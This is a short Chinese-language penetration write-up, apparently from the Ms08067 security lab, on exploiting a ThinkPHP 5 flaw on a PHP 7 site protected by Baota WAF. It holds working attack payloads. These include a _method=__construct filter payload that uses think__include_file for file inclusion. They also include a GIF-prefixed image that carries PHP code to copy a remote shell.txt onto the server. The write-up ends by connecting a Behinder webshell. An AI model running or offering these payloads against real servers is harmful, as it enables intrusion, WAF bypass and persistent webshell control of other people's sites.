ThinkPHP 是一个快速、简单的基于 MVC 和面向对象的轻量级 PHP 开发框架,遵循 Apache2 开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重开发体验和易用性,为 WEB 应用和 API 开发提供了强有力的支持。
0X00 基本环境
确定目标存在tp5的漏洞,经过后期的探测发现安装有宝塔WAF。
基本环境为:php7 宝塔waf
因为php7之后基本确定舍弃了函数assert(),因此有关于assert的所有payload全部失效!!! 虽然网上有很多关于tp5 php7的文章,但是我尝试之后全部失败。
0x01 另辟蹊径
因为之前payload所显示的phpinfo不全,那我们换一种方式!
得出关键信息:
代码语言:javascript复制disable_functions:
passthru,
exec,
system,
chroot,chgrp,
chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,
readlink,
symlink,popepassthru
得出关键信息:
代码语言:javascript复制网站绝对路径:/www/wwwroot/site
过程不多说!老规矩!
文件包含,payload:
_method=__construct&method=get&filter[]=think__include_file&server[]=phpinfo&get[]=/www/wwwroot/site/public/robots.txt
正好找到了该站的编辑器。(ueditor默认路径) 那么我们现在只需要构造包含内容即可。
代码语言:javascript复制GIF98a
代码语言:javascript复制<?php phpinfo(); ?>
代码语言:javascript复制<?php copy("http://url/shell.txt","test.php");?>
添加phpinfo是为了看代码是否正确的执行了,但如果你有自信认为一定成功,那随意。
上传图片,得到路径。
继续。
代码语言:javascript复制payload:
_method=__construct&filter[]=think__include_file&get[]=/www/wwwroot/site/public/upload/20190322/c627cb130d82cb2f9c5bf4575850cf79.jpg&method=get&server[]=
注意:路径一定要正确!!!
冰蝎连接shell。
收工。
作者:曲云杰
来源:Ms08067安全实验室